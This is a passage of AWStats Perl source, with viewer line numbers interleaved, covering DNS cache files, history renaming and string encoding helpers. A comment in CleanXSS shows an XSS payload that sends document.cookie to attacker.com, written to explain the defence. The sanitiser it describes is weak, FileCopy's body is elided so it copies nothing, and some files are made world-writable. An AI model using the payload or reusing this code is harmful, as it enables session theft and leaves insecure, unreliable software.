        if    ( $DatabaseBreak eq 'month' ) { $datemask = '\d\d\d\d\d\d'; }
 
7357
        elsif ( $DatabaseBreak eq 'year' )  { $datemask = '\d\d\d\d'; }
 
7358
        elsif ( $DatabaseBreak eq 'day' )   { $datemask = '\d\d\d\d\d\d\d\d'; }
 
7359
        elsif ( $DatabaseBreak eq 'hour' )  { $datemask = '\d\d\d\d\d\d\d\d\d\d'; }
 
7360
        if ($Debug) {
 
7361
                debug(
 
7362
"Scan for temp history files to rename into DirData='$DirData' with mask='$datemask'"
 
7363
                );
 
7364
        }
 
7365
 
 
7366
        my $regfilesuffix = quotemeta($FileSuffix);
 
7367
        foreach ( grep /^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/,
 
7368
                file_filt sort readdir DIR )
 
7369
        {
 
7370
                /^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/;
 
7371
                if ($renameok) {    # No rename error yet
 
7372
                        if ($Debug) {
 
7373
                                debug(
 
7374
" Rename new tmp history file $PROG$1$FileSuffix.tmp.$$ into $PROG$1$FileSuffix.txt",
 
7375
                                        1
 
7376
                                );
 
7377
                        }
 
7378
                        if ( -s "$DirData/$PROG$1$FileSuffix.tmp.$$" )
 
7379
                        {               # Rename tmp files if size > 0
 
7380
                                if ($KeepBackupOfHistoricFiles) {
 
7381
                                        if ( -s "$DirData/$PROG$1$FileSuffix.txt" )
 
7382
                                        {       # History file already exists. We backup it
 
7383
                                                if ($Debug) {
 
7384
                                                        debug(
 
7385
"  Make a backup of old history file into $PROG$1$FileSuffix.bak before",
 
7386
                                                                1
 
7387
                                                        );
 
7388
                                                }
 
7389
 
 
7390
#if (FileCopy("$DirData/$PROG$1$FileSuffix.txt","$DirData/$PROG$1$FileSuffix.bak")) {
 
7391
                                                if (
 
7392
                                                        rename(
 
7393
                                                                "$DirData/$PROG$1$FileSuffix.txt",
 
7394
                                                                "$DirData/$PROG$1$FileSuffix.bak"
 
7395
                                                        ) == 0
 
7396
                                                  )
 
7397
                                                {
 
7398
                                                        warning(
 
7399
"Warning: Failed to make a backup of \"$DirData/$PROG$1$FileSuffix.txt\" into \"$DirData/$PROG$1$FileSuffix.bak\"."
 
7400
                                                        );
 
7401
                                                }
 
7402
                                                if ($SaveDatabaseFilesWithPermissionsForEveryone) {
 
7403
                                                        chmod 0666, "$DirData/$PROG$1$FileSuffix.bak";
 
7404
                                                }
 
7405
                                        }
 
7406
                                        else {
 
7407
                                                if ($Debug) {
 
7408
                                                        debug( "  No need to backup old history file", 1 );
 
7409
                                                }
 
7410
                                        }
 
7411
                                }
 
7412
                                if (
 
7413
                                        rename(
 
7414
                                                "$DirData/$PROG$1$FileSuffix.tmp.$$",
 
7415
                                                "$DirData/$PROG$1$FileSuffix.txt"
 
7416
                                        ) == 0
 
7417
                                  )
 
7418
                                {
 
7419
                                        $renameok =
 
7420
                                          0;    # At least one error in renaming working files
 
7421
                                                # Remove tmp file
 
7422
                                        unlink "$DirData/$PROG$1$FileSuffix.tmp.$$";
 
7423
                                        warning(
 
7424
"Warning: Failed to rename \"$DirData/$PROG$1$FileSuffix.tmp.$$\" into \"$DirData/$PROG$1$FileSuffix.txt\".\nWrite permissions on \"$PROG$1$FileSuffix.txt\" might be wrong"
 
7425
                                                  . (
 
7426
                                                        $ENV{'GATEWAY_INTERFACE'}
 
7427
                                                        ? " for an 'update from web'"
 
7428
                                                        : ""
 
7429
                                                  )
 
7430
                                                  . " or file might be opened."
 
7431
                                        );
 
7432
                                        next;
 
7433
                                }
 
7434
                                if ($SaveDatabaseFilesWithPermissionsForEveryone) {
 
7435
                                        chmod 0666, "$DirData/$PROG$1$FileSuffix.txt";
 
7436
                                }
 
7437
                        }
 
7438
                }
 
7439
                else {    # Because of rename error, we remove all remaining tmp files
 
7440
                        unlink "$DirData/$PROG$1$FileSuffix.tmp.$$";
 
7441
                }
 
7442
        }
 
7443
        close DIR;
 
7444
        return $renameok;
 
7445
}
 
7446
 
 
7447
#------------------------------------------------------------------------------
 
7448
# Function:     Load DNS cache file entries into a memory hash array
 
7449
# Parameters:   Hash array ref to load into,
 
7450
#               File name to load,
 
7451
#                               File suffix to use
 
7452
#               Save to a second plugin file if not up to date
 
7453
# Input:                None
 
7454
# Output:               Hash array is loaded
 
7455
# Return:               1 No DNS Cache file found, 0 OK
 
7456
#------------------------------------------------------------------------------
 
7457
sub Read_DNS_Cache {
 
7458
        my $hashtoload   = shift;
 
7459
        my $dnscachefile = shift;
 
7460
        my $filesuffix   = shift;
 
7461
        my $savetohash   = shift;
 
7462
 
 
7463
        my $dnscacheext = '';
 
7464
        my $filetoload  = '';
 
7465
        my $timetoload  = time();
 
7466
 
 
7467
        if ($Debug) { debug("Call to Read_DNS_Cache [file=\"$dnscachefile\"]"); }
 
7468
        if ( $dnscachefile =~ s/(\.\w+)$// ) { $dnscacheext = $1; }
 
7469
        foreach my $dir ( "$DirData", ".", "" ) {
 
7470
                my $searchdir = $dir;
 
7471
                if (   $searchdir
 
7472
                        && ( !( $searchdir =~ /\/$/ ) )
 
7473
                        && ( !( $searchdir =~ /\\$/ ) ) )
 
7474
                {
 
7475
                        $searchdir .= "/";
 
7476
                }
 
7477
                if ( -f "${searchdir}$dnscachefile$filesuffix$dnscacheext" ) {
 
7478
                        $filetoload = "${searchdir}$dnscachefile$filesuffix$dnscacheext";
 
7479
                }
 
7480
 
 
7481
                # Plugin call : Change filetoload
 
7482
                if ( $PluginsLoaded{'SearchFile'}{'hashfiles'} ) {
 
7483
                        SearchFile_hashfiles(
 
7484
                                $searchdir,   $dnscachefile, $filesuffix,
 
7485
                                $dnscacheext, $filetoload
 
7486
                        );
 
7487
                }
 
7488
                if ($filetoload) { last; }    # We found a file to load
 
7489
        }
 
7490
 
 
7491
        if ( !$filetoload ) {
 
7492
                if ($Debug) { debug(" No DNS Cache file found"); }
 
7493
                return 1;
 
7494
        }
 
7495
 
 
7496
        # Plugin call : Load hashtoload
 
7497
        if ( $PluginsLoaded{'LoadCache'}{'hashfiles'} ) {
 
7498
                LoadCache_hashfiles( $filetoload, $hashtoload );
 
7499
        }
 
7500
        if ( !scalar keys %$hashtoload ) {
 
7501
                open( DNSFILE, "$filetoload" )
 
7502
                  or error("Couldn't open DNS Cache file \"$filetoload\": $!");
 
7503
 
 
7504
#binmode DNSFILE;               # If we set binmode here, it seems that the load is broken on ActiveState 5.8
 
7505
# This is a fast way to load with regexp
 
7506
                %$hashtoload =
 
7507
                  map( /^(?:\d{0,10}\s+)?([0-9A-F:\.]+)\s+([^\s]+)$/oi, <DNSFILE> );
 
7508
                close DNSFILE;
 
7509
                if ($savetohash) {
 
7510
 
 
7511
        # Plugin call : Save hash file (all records) with test if up to date to save
 
7512
                        if ( $PluginsLoaded{'SaveHash'}{'hashfiles'} ) {
 
7513
                                SaveHash_hashfiles( $filetoload, $hashtoload, 1, 0 );
 
7514
                        }
 
7515
                }
 
7516
        }
 
7517
        if ($Debug) {
 
7518
                debug(
 
7519
                        " Loaded "
 
7520
                          . ( scalar keys %$hashtoload )
 
7521
                          . " items from $filetoload in "
 
7522
                          . ( time() - $timetoload )
 
7523
                          . " seconds.",
 
7524
                        1
 
7525
                );
 
7526
        }
 
7527
        return 0;
 
7528
}
 
7529
 
 
7530
#------------------------------------------------------------------------------
 
7531
# Function:     Save a memory hash array into a DNS cache file
 
7532
# Parameters:   Hash array ref to save,
 
7533
#               File name to save,
 
7534
#                               File suffix to use
 
7535
# Input:                None
 
7536
# Output:               None
 
7537
# Return:               0 OK, 1 Error
 
7538
#------------------------------------------------------------------------------
 
7539
sub Save_DNS_Cache_File {
 
7540
        my $hashtosave   = shift;
 
7541
        my $dnscachefile = shift;
 
7542
        my $filesuffix   = shift;
 
7543
 
 
7544
        my $dnscacheext    = '';
 
7545
        my $filetosave     = '';
 
7546
        my $timetosave     = time();
 
7547
        my $nbofelemtosave = $NBOFLASTUPDATELOOKUPTOSAVE;
 
7548
        my $nbofelemsaved  = 0;
 
7549
 
 
7550
        if ($Debug) {
 
7551
                debug("Call to Save_DNS_Cache_File [file=\"$dnscachefile\"]");
 
7552
        }
 
7553
        if ( !scalar keys %$hashtosave ) {
 
7554
                if ($Debug) { debug(" No data to save"); }
 
7555
                return 0;
 
7556
        }
 
7557
        if ( $dnscachefile =~ s/(\.\w+)$// ) { $dnscacheext = $1; }
 
7558
        $filetosave = "$dnscachefile$filesuffix$dnscacheext";
 
7559
 
 
7560
# Plugin call : Save hash file (only $NBOFLASTUPDATELOOKUPTOSAVE records) with no test if up to date
 
7561
        if ( $PluginsLoaded{'SaveHash'}{'hashfiles'} ) {
 
7562
                SaveHash_hashfiles( $filetosave, $hashtosave, 0, $nbofelemtosave,
 
7563
                        $nbofelemsaved );
 
7564
                if ($SaveDatabaseFilesWithPermissionsForEveryone) {
 
7565
                        chmod 0666, "$filetosave";
 
7566
                }
 
7567
        }
 
7568
        if ( !$nbofelemsaved ) {
 
7569
                $filetosave = "$dnscachefile$filesuffix$dnscacheext";
 
7570
                if ($Debug) {
 
7571
                        debug(
 
7572
                                " Save data "
 
7573
                                  . (
 
7574
                                        $nbofelemtosave
 
7575
                                        ? "($nbofelemtosave records max)"
 
7576
                                        : "(all records)"
 
7577
                                  )
 
7578
                                  . " into file $filetosave"
 
7579
                        );
 
7580
                }
 
7581
                if ( !open( DNSFILE, ">$filetosave" ) ) {
 
7582
                        warning(
 
7583
"Warning: Failed to open for writing last update DNS Cache file \"$filetosave\": $!"
 
7584
                        );
 
7585
                        return 1;
 
7586
                }
 
7587
                binmode DNSFILE;
 
7588
                my $starttimemin = int( $starttime / 60 );
 
7589
                foreach my $key ( keys %$hashtosave ) {
 
7590
 
 
7591
                        #if ($hashtosave->{$key} ne '*') {
 
7592
                        my $ipsolved = $hashtosave->{$key};
 
7593
                        print DNSFILE "$starttimemin\t$key\t"
 
7594
                          . ( $ipsolved eq 'ip' ? '*' : $ipsolved )
 
7595
                          . "\n";    # Change 'ip' to '*' for backward compatibility
 
7596
                        if ( ++$nbofelemsaved >= $NBOFLASTUPDATELOOKUPTOSAVE ) { last; }
 
7597
 
 
7598
                        #}
 
7599
                }
 
7600
                close DNSFILE;
 
7601
 
 
7602
                if ($SaveDatabaseFilesWithPermissionsForEveryone) {
 
7603
                        chmod 0666, "$filetosave";
 
7604
                }
 
7605
 
 
7606
        }
 
7607
        if ($Debug) {
 
7608
                debug(
 
7609
                        " Saved $nbofelemsaved items into $filetosave in "
 
7610
                          . ( time() - $timetosave )
 
7611
                          . " seconds.",
 
7612
                        1
 
7613
                );
 
7614
        }
 
7615
        return 0;
 
7616
}
 
7617
 
 
7618
#------------------------------------------------------------------------------
 
7619
# Function:     Return time elapsed since last call in miliseconds
 
7620
# Parameters:   0|1 (0 reset counter, 1 no reset)
 
7621
# Input:                None
 
7622
# Output:               None
 
7623
# Return:               Number of miliseconds elapsed since last call
 
7624
#------------------------------------------------------------------------------
 
7625
sub GetDelaySinceStart {
 
7626
        if (shift) { $StartSeconds = 0; }    # Reset chrono
 
7627
        my ( $newseconds, $newmicroseconds ) = ( time(), 0 );
 
7628
 
 
7629
        # Plugin call : Return seconds and milliseconds
 
7630
        if ( $PluginsLoaded{'GetTime'}{'timehires'} ) {
 
7631
                GetTime_timehires( $newseconds, $newmicroseconds );
 
7632
        }
 
7633
        if ( !$StartSeconds ) {
 
7634
                $StartSeconds      = $newseconds;
 
7635
                $StartMicroseconds = $newmicroseconds;
 
7636
        }
 
7637
        return ( ( $newseconds - $StartSeconds ) * 1000 +
 
7638
                  int( ( $newmicroseconds - $StartMicroseconds ) / 1000 ) );
 
7639
}
 
7640
 
 
7641
#------------------------------------------------------------------------------
 
7642
# Function:     Reset all variables whose name start with _ because a new month start
 
7643
# Parameters:   None
 
7644
# Input:        $YearRequired All variables whose name start with _
 
7645
# Output:       All variables whose name start with _
 
7646
# Return:               None
 
7647
#------------------------------------------------------------------------------
 
7648
sub Init_HashArray {
 
7649
        if ($Debug) { debug("Call to Init_HashArray"); }
 
7650
 
 
7651
        # Reset global hash arrays
 
7652
        %FirstTime           = %LastTime           = ();
 
7653
        %MonthHostsKnown     = %MonthHostsUnknown  = ();
 
7654
        %MonthVisits         = %MonthUnique        = ();
 
7655
        %MonthPages          = %MonthHits          = %MonthBytes = ();
 
7656
        %MonthNotViewedPages = %MonthNotViewedHits = %MonthNotViewedBytes = ();
 
7657
        %DayPages            = %DayHits            = %DayBytes = %DayVisits = ();
 
7658
 
 
7659
        # Reset all arrays with name beginning by _
 
7660
        for ( my $ix = 0 ; $ix < 6 ; $ix++ ) {
 
7661
                $_from_p[$ix] = 0;
 
7662
                $_from_h[$ix] = 0;
 
7663
        }
 
7664
        for ( my $ix = 0 ; $ix < 24 ; $ix++ ) {
 
7665
                $_time_h[$ix]    = 0;
 
7666
                $_time_k[$ix]    = 0;
 
7667
                $_time_p[$ix]    = 0;
 
7668
                $_time_nv_h[$ix] = 0;
 
7669
                $_time_nv_k[$ix] = 0;
 
7670
                $_time_nv_p[$ix] = 0;
 
7671
        }
 
7672
 
 
7673
        # Reset all hash arrays with name beginning by _
 
7674
        %_session     = %_browser_h   = ();
 
7675
        %_domener_p   = %_domener_h   = %_domener_k = %_errors_h = %_errors_k = ();
 
7676
        %_filetypes_h = %_filetypes_k = %_filetypes_gz_in = %_filetypes_gz_out = ();
 
7677
        %_host_p = %_host_h = %_host_k = %_host_l = %_host_s = %_host_u = ();
 
7678
        %_waithost_e = %_waithost_l = %_waithost_s = %_waithost_u = ();
 
7679
        %_keyphrases = %_keywords   = %_os_h = %_pagesrefs_p = %_pagesrefs_h =
 
7680
          %_robot_h  = %_robot_k    = %_robot_l = %_robot_r = ();
 
7681
        %_worm_h = %_worm_k = %_worm_l = %_login_p = %_login_h = %_login_k =
 
7682
          %_login_l      = %_screensize_h   = ();
 
7683
        %_misc_p         = %_misc_h         = %_misc_k = ();
 
7684
        %_cluster_p      = %_cluster_h      = %_cluster_k = ();
 
7685
        %_se_referrals_p = %_se_referrals_h = %_sider404_h = %_referer404_h =
 
7686
          %_url_p        = %_url_k          = %_url_e = %_url_x = ();
 
7687
        %_downloads = ();
 
7688
        %_unknownreferer_l = %_unknownrefererbrowser_l = ();
 
7689
        %_emails_h = %_emails_k = %_emails_l = %_emailr_h = %_emailr_k =
 
7690
          %_emailr_l = ();
 
7691
 
 
7692
        for ( my $ix = 1 ; $ix < @ExtraName ; $ix++ ) {
 
7693
                %{ '_section_' . $ix . '_h' }   = %{ '_section_' . $ix . '_o' } =
 
7694
                  %{ '_section_' . $ix . '_k' } = %{ '_section_' . $ix . '_l' } =
 
7695
                  %{ '_section_' . $ix . '_p' } = ();
 
7696
        }
 
7697
        foreach my $pluginname ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } )
 
7698
        {
 
7699
 
 
7700
                #               my $function="SectionInitHashArray_$pluginname()";
 
7701
                #               eval("$function");
 
7702
                my $function = "SectionInitHashArray_$pluginname";
 
7703
                &$function();
 
7704
        }
 
7705
}
 
7706
 
 
7707
#------------------------------------------------------------------------------
 
7708
# Function:     Change word separators of a keyphrase string into space and
 
7709
#               remove bad coded chars
 
7710
# Parameters:   stringtodecode
 
7711
# Input:        None
 
7712
# Output:       None
 
7713
# Return:               decodedstring
 
7714
#------------------------------------------------------------------------------
 
7715
sub ChangeWordSeparatorsIntoSpace {
 
7716
        $_[0] =~ s/%0[ad]/ /ig;          # LF CR
 
7717
        $_[0] =~ s/%2[02789abc]/ /ig;    # space " ' ( ) * + ,
 
7718
        $_[0] =~ s/%3a/ /ig;             # :
 
7719
        $_[0] =~
 
7720
          tr/\+\'\(\)\"\*,:/        /s;    # "&" and "=" must not be in this list
 
7721
}
 
7722
 
 
7723
#------------------------------------------------------------------------------
 
7724
# Function:             Transforms special chars by entities as needed in XML/XHTML
 
7725
# Parameters:   stringtoencode
 
7726
# Return:               encodedstring
 
7727
#------------------------------------------------------------------------------
 
7728
sub XMLEncode {
 
7729
        if ( $BuildReportFormat ne 'xhtml' && $BuildReportFormat ne 'xml' ) {
 
7730
                return shift;
 
7731
        }
 
7732
        my $string = shift;
 
7733
        $string =~ s/&/&amp;/g;
 
7734
        $string =~ s/</&lt;/g;
 
7735
        $string =~ s/>/&gt;/g;
 
7736
        $string =~ s/\"/&quot;/g;
 
7737
        $string =~ s/\'/&apos;/g;
 
7738
        return $string;
 
7739
}
 
7740
 
 
7741
#------------------------------------------------------------------------------
 
7742
# Function:             Transforms spaces into %20 and special chars by HTML entities as needed in XML/XHTML
 
7743
#                               Decoding is done by XMLDecodeFromHisto.
 
7744
#                               AWStats data files are stored in ISO-8859-1.
 
7745
# Parameters:   stringtoencode
 
7746
# Return:               encodedstring
 
7747
#------------------------------------------------------------------------------
 
7748
sub XMLEncodeForHisto {
 
7749
        my $string = shift;
 
7750
        $string =~ s/\s/%20/g;
 
7751
        if ( $BuildHistoryFormat ne 'xml' ) { return $string; }
 
7752
        $string =~ s/=/%3d/g;
 
7753
        $string =~ s/&/&amp;/g;
 
7754
        $string =~ s/</&lt;/g;
 
7755
        $string =~ s/>/&gt;/g;
 
7756
        $string =~ s/\"/&quot;/g;
 
7757
        $string =~ s/\'/&apos;/g;
 
7758
        return $string;
 
7759
}
 
7760
 
 
7761
#------------------------------------------------------------------------------
 
7762
# Function:     Encode an ISO string to PageCode output
 
7763
# Parameters:   stringtoencode
 
7764
# Return:               encodedstring
 
7765
#------------------------------------------------------------------------------
 
7766
sub EncodeToPageCode {
 
7767
        my $string = shift;
 
7768
        if ( $PageCode eq 'utf-8' ) { $string = encode( "utf8", $string ); }
 
7769
        return $string;
 
7770
}
 
7771
 
 
7772
#------------------------------------------------------------------------------
 
7773
# Function:     Encode a binary string into an ASCII string
 
7774
# Parameters:   stringtoencode
 
7775
# Return:               encodedstring
 
7776
#------------------------------------------------------------------------------
 
7777
sub EncodeString {
 
7778
        my $string = shift;
 
7779
 
 
7780
        #       use bytes;
 
7781
        $string =~ s/([\x2B\x80-\xFF])/sprintf ("%%%2x", ord($1))/eg;
 
7782
 
 
7783
        #       no bytes;
 
7784
        $string =~ tr/ /+/s;
 
7785
        return $string;
 
7786
}
 
7787
 
 
7788
#------------------------------------------------------------------------------
 
7789
# Function:     Decode an url encoded text string into a binary string
 
7790
# Parameters:   stringtodecode
 
7791
# Input:        None
 
7792
# Output:       None
 
7793
# Return:       decodedstring
 
7794
#------------------------------------------------------------------------------
 
7795
sub DecodeEncodedString {
 
7796
        my $stringtodecode = shift;
 
7797
        $stringtodecode =~ tr/\+/ /s;
 
7798
        $stringtodecode =~ s/%([A-F0-9][A-F0-9])/pack("C", hex($1))/ieg;
 
7799
        $stringtodecode =~ s/["']//g;
 
7800
 
 
7801
        return $stringtodecode;
 
7802
}
 
7803
 
 
7804
#------------------------------------------------------------------------------
 
7805
# Function:     Decode an precompiled regex value to a common regex value
 
7806
# Parameters:   compiledregextodecode
 
7807
# Input:        None
 
7808
# Output:       None
 
7809
# Return:               standardregex
 
7810
#------------------------------------------------------------------------------
 
7811
sub UnCompileRegex {
 
7812
        shift =~ /\(\?[-\w]*:(.*)\)/;
 
7813
        return $1;
 
7814
}
 
7815
 
 
7816
#------------------------------------------------------------------------------
 
7817
# Function:     Clean a string of all chars that are not char or _ - \ / . \s
 
7818
# Parameters:   stringtoclean, full
 
7819
# Input:        None
 
7820
# Output:       None
 
7821
# Return:               cleanedstring
 
7822
#------------------------------------------------------------------------------
 
7823
sub Sanitize {
 
7824
        my $stringtoclean = shift;
 
7825
        my $full = shift || 0;
 
7826
        if ($full) {
 
7827
                $stringtoclean =~ s/[^\w\d]//g;
 
7828
        }
 
7829
        else {
 
7830
                $stringtoclean =~ s/[^\w\d\-\\\/\.:\s]//g;
 
7831
        }
 
7832
        return $stringtoclean;
 
7833
}
 
7834
 
 
7835
#------------------------------------------------------------------------------
 
7836
# Function:     Clean a string of HTML tags to avoid 'Cross Site Scripting attacks'
 
7837
#               and clean | char.
 
7838
#                               A XSS attack is providing an AWStats url with XSS code that is executed
 
7839
#                               when page loaded by awstats CGI is loaded from AWStats server. Such a code
 
7840
#                               can be<script>document.write("<img src=http://attacker.com/page.php?" + document.cookie)</script>
 
7841
#                               This make the browser sending a request to the attacker server that contains
 
7842
#                               cookie used for AWStats server sessions. Attacker can this way caught this
 
7843
#                               cookie and used it to go on AWStats server like original visitor. For this
 
7844
#                               resaon, parameter received by AWStats must be sanitized by this function
 
7845
#                               before beeing put inside a web page.
 
7846
# Parameters:   stringtoclean
 
7847
# Input:        None
 
7848
# Output:       None
 
7849
# Return:               cleanedstring
 
7850
#------------------------------------------------------------------------------
 
7851
sub CleanXSS {
 
7852
        my $stringtoclean = shift;
 
7853
 
 
7854
        # To avoid html tags and javascript
 
7855
        $stringtoclean =~ s/</&lt;/g;
 
7856
        $stringtoclean =~ s/>/&gt;/g;
 
7857
        $stringtoclean =~ s/|//g;
 
7858
 
 
7859
        # To avoid onload="
 
7860
        $stringtoclean =~ s/onload//g;
 
7861
        return $stringtoclean;
 
7862
}
 
7863
 
 
7864
#------------------------------------------------------------------------------
 
7865
# Function:     Clean tags in a string
 
7866
#                               AWStats data files are stored in ISO-8859-1.
 
7867
# Parameters:   stringtodecode
 
7868
# Input:        None
 
7869
# Output:       None
 
7870
# Return:               decodedstring
 
7871
#------------------------------------------------------------------------------
 
7872
sub XMLDecodeFromHisto {
 
7873
        my $stringtoclean = shift;
 
7874
        $stringtoclean =~ s/$regclean1/ /g;    # Replace <recnb> or </td> with space
 
7875
        $stringtoclean =~ s/$regclean2//g;     # Remove others <xxx>
 
7876
        $stringtoclean =~ s/%3d/=/g;
 
7877
        $stringtoclean =~ s/&amp;/&/g;
 
7878
        $stringtoclean =~ s/&lt;/</g;
 
7879
        $stringtoclean =~ s/&gt;/>/g;
 
7880
        $stringtoclean =~ s/&quot;/\"/g;
 
7881
        $stringtoclean =~ s/&apos;/\'/g;
 
7882
        return $stringtoclean;
 
7883
}
 
7884
 
 
7885
#------------------------------------------------------------------------------
 
7886
# Function:     Copy one file into another
 
7887
# Parameters:   sourcefilename targetfilename
 
7888
# Input:        None
 
7889
# Output:       None
 
7890
# Return:               0 if copy is ok, 1 else
 
7891
#------------------------------------------------------------------------------
 
7892
sub FileCopy {
 
7893
        my $filesource = shift;
 
7894
        my $filetarget = shift;
 
7895
        if ($Debug) { debug( "FileCopy($filesource,$filetarget)", 1 ); }
 
7896
        open( FILESOURCE, "$filesource" )  || return 1;
 
7897
        open( FILETARGET, ">$filetarget" ) || return 1;
 
7898
        binmode FILESOURCE;
 
7899
        binmode FILETARGET;
 
7900
 
 
7901
        # ...
 
7902
        close(FILETARGET);
 
7903
        close(FILESOURCE);
 
7904
        if ($Debug) { debug( " File copied", 1 ); }
 
7905
        return 0;
 
7906
}
 
7907
 
 
7908
#------------------------------------------------------------------------------
 
7909
# Function:     Format a QUERY_STRING
 
7910
# Parameters:   query
 
7911
# Input:        None
 
7912
# Output:       None
 
7913
# Return:               formated query
 
7914
#------------------------------------------------------------------------------
 
7915
# TODO Appeller cette fonction partout ou il y a des NewLinkParams
 
7916
sub CleanNewLinkParamsFrom {
 
7917
        my $NewLinkParams = shift;
 
7918
        while ( my $param = shift ) {
 
7919
                $NewLinkParams =~ s/(^|&|&amp;)$param(=[^&]*|$)//i;
 
7920
        }
 
7921
        $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
 
7922
        $NewLinkParams =~ s/^&amp;//;
 
7923
        $NewLinkParams =~ s/&amp;$//;
 
7924
        return $NewLinkParams;
 
7925
}
 
7926
 
 
7927
#------------------------------------------------------------------------------
 
7928
# Function:     Show flags for other language translations
 
7929
# Parameters:   Current languade id (en, fr, ...)
 
7930
# Input:        None
 
7931
# Output:       None
 
7932
# Return:       None
 
7933
#------------------------------------------------------------------------------
 
7934
sub Show_Flag_Links {
 
7935
        my $CurrentLang = shift;
 
7936
 
 
7937
        # Build flags link
 
7938
        my $NewLinkParams = $QueryString;
 
7939
        my $NewLinkTarget = '';
 
7940
        if ( $ENV{'GATEWAY_INTERFACE'} ) {
 
7941
                $NewLinkParams =
 
7942
                  CleanNewLinkParamsFrom( $NewLinkParams,
 
7943
                        ( 'update', 'staticlinks', 'framename', 'lang' ) );
 
7944
                $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
 
7945
                $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
 
7946
                $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
 
7947
                $NewLinkParams =~ s/(^|&|&amp;)lang=[^&]*//i;
 
7948
                $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
 
7949
                $NewLinkParams =~ s/^&amp;//;
 
7950
                $NewLinkParams =~ s/&amp;$//;
 
7951
                if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&amp;"; }
 
7952
 
 
7953
                if ( $FrameName eq 'mainright' ) {
 
7954
                        $NewLinkTarget = " target=\"_parent\"";
 
7955
                }
 
7956
        }
 
7957
        else {
 
7958
                $NewLinkParams =
 
7959
                  ( $SiteConfig ? "config=$SiteConfig&amp;" : "" )
 
7960
                  . "year=$YearRequired&amp;month=$MonthRequired&amp;";
 
7961
        }
 
7962
        if ( $NewLinkParams !~ /output=/ ) { $NewLinkParams .= 'output=main&amp;'; }
 
7963
        if ( $FrameName eq 'mainright' ) {
 
7964
                $NewLinkParams .= 'framename=index&amp;';
 
7965
        }
 
7966
 
 
7967
        foreach my $lng ( split( /\s+/, $ShowFlagLinks ) ) {
 
7968
                $lng =
 
7969
                    $LangBrowserToLangAwstats{$lng}
 
7970
                  ? $LangBrowserToLangAwstats{$lng}
 
7971
                  : $lng;
 
7972
                if ( $lng ne $CurrentLang ) {
 
7973
                        my %lngtitle = (
 
7974
                                'en', 'English', 'fr', 'French', 'de', 'German',
 
7975
                                'it', 'Italian', 'nl', 'Dutch',  'es', 'Spanish'
 
7976
                        );
 
7977
                        my $lngtitle = ( $lngtitle{$lng} ? $lngtitle{$lng} : $lng );
 
7978
                        my $flag = (
 
7979
                                  $LangAWStatsToFlagAwstats{$lng}
 
7980
                                ? $LangAWStatsToFlagAwstats{$lng}
 
7981
                                : $lng
 
7982
                        );
 
7983
                        print "<a href=\""
 
7984
                          . XMLEncode("$AWScript${NewLinkParams}lang=$lng")
 
7985
                          . "\"$NewLinkTarget><img src=\"$DirIcons\/flags\/$flag.png\" height=\"14\" border=\"0\""
 
7986
                          . AltTitle("$lngtitle")
 
7987
                          . " /></a>&nbsp;\n";
 
7988
                }
 
7989
        }
 
7990
}
 
7991
 
 
7992
#------------------------------------------------------------------------------
 
7993
# Function:             Format value in bytes in a string (Bytes, Kb, Mb, Gb)
 
7994
# Parameters:   bytes (integer value or "0.00")
 
7995
# Input:        None
 
7996
# Output:       None
 
7997
# Return:       "x.yz MB" or "x.yy KB" or "x Bytes" or "0"
 
7998
#------------------------------------------------------------------------------
 
7999
sub Format_Bytes {
 
8000
        my $bytes = shift || 0;
 
8001
        my $fudge = 1;
 
8002
 
 
8003
# Do not use exp/log function to calculate 1024power, function make segfault on some unix/perl versions
 
8004
        if ( $bytes >= ( $fudge << 30 ) ) {
 
8005
                return sprintf( "%.2f", $bytes / 1073741824 ) . " $Message[110]";
 
8006
        }
 
8007
        if ( $bytes >= ( $fudge << 20 ) ) {
 
8008
                return sprintf( "%.2f", $bytes / 1048576 ) . " $Message[109]";
 
8009
        }
 
8010
        if ( $bytes >= ( $fudge << 10 ) ) {
 
8011
                return sprintf( "%.2f", $bytes / 1024 ) . " $Message[108]";
 
8012
        }
 
8013
        if ( $bytes < 0 ) { $bytes = "?"; }
 
8014
        return int($bytes) . ( int($bytes) ? " $Message[119]" : "" );
 
8015
}
 
8016
 
 
8017
#------------------------------------------------------------------------------
 
8018
# Function:             Format a number with commas or any other separator
 
8019
#                               CL: courtesy of http://www.perlmonks.org/?node_id=2145
 
8020
# Parameters:   number
 
8021
# Input:        None
 
8022
# Output:       None
 
8023
# Return:       "999,999,999,999"
 
8024
#------------------------------------------------------------------------------
 
8025
sub Format_Number {
 
8026
        my $number = shift || 0;
 
8027
        $number =~ s/(\d)(\d\d\d)$/$1 $2/;
 
8028
        $number =~ s/(\d)(\d\d\d\s\d\d\d)$/$1 $2/;
 
8029
        $number =~ s/(\d)(\d\d\d\s\d\d\d\s\d\d\d)$/$1 $2/;
 
8030
        my $separator = $Message[177];
 
8031
        if ($separator eq '') { $separator=' '; }       # For backward compatibility
 
8032
        $number =~ s/ /$separator/g;
 
8033
        return $number;
 
8034
}
 
8035
 
 
8036
#------------------------------------------------------------------------------
 
8037
# Function:             Return " alt=string title=string"
 
8038
# Parameters:   string
 
8039
# Input:        None
 
8040
# Output:       None
 
8041
# Return:       "alt=string title=string"
 
8042
#------------------------------------------------------------------------------
 
8043
sub AltTitle {
 
8044
        my $string = shift || '';
 
8045
        return " alt='$string' title='$string'";
 
8046
 
 
8047
        #       return " alt=\"$string\" title=\"$string\"";
 
8048
        #       return ($BuildReportFormat?"":" alt=\"$string\"")." title=\"$string\"";
 
8049
}
 
8050
 
 
8051
#------------------------------------------------------------------------------
 
8052
# Function:             Tell if an email is a local or external email
 
8053
# Parameters:   email
 
8054
# Input:        $SiteDomain(exact string) $HostAliases(quoted regex string)
 
8055
# Output:       None
 
8056
# Return:       -1, 0 or 1
 
8057
#------------------------------------------------------------------------------
 
8058
sub IsLocalEMail {
 
8059
        my $email = shift || 'unknown';
 
8060
        if ( $email !~ /\@(.*)$/ ) { return 0; }
 
8061
        my $domain = $1;
 
8062
        if ( $domain =~ /^$SiteDomain$/i ) { return 1; }
 
8063
        foreach (@HostAliases) {
 
8064
                if ( $domain =~ /$_/ ) { return 1; }
 
8065
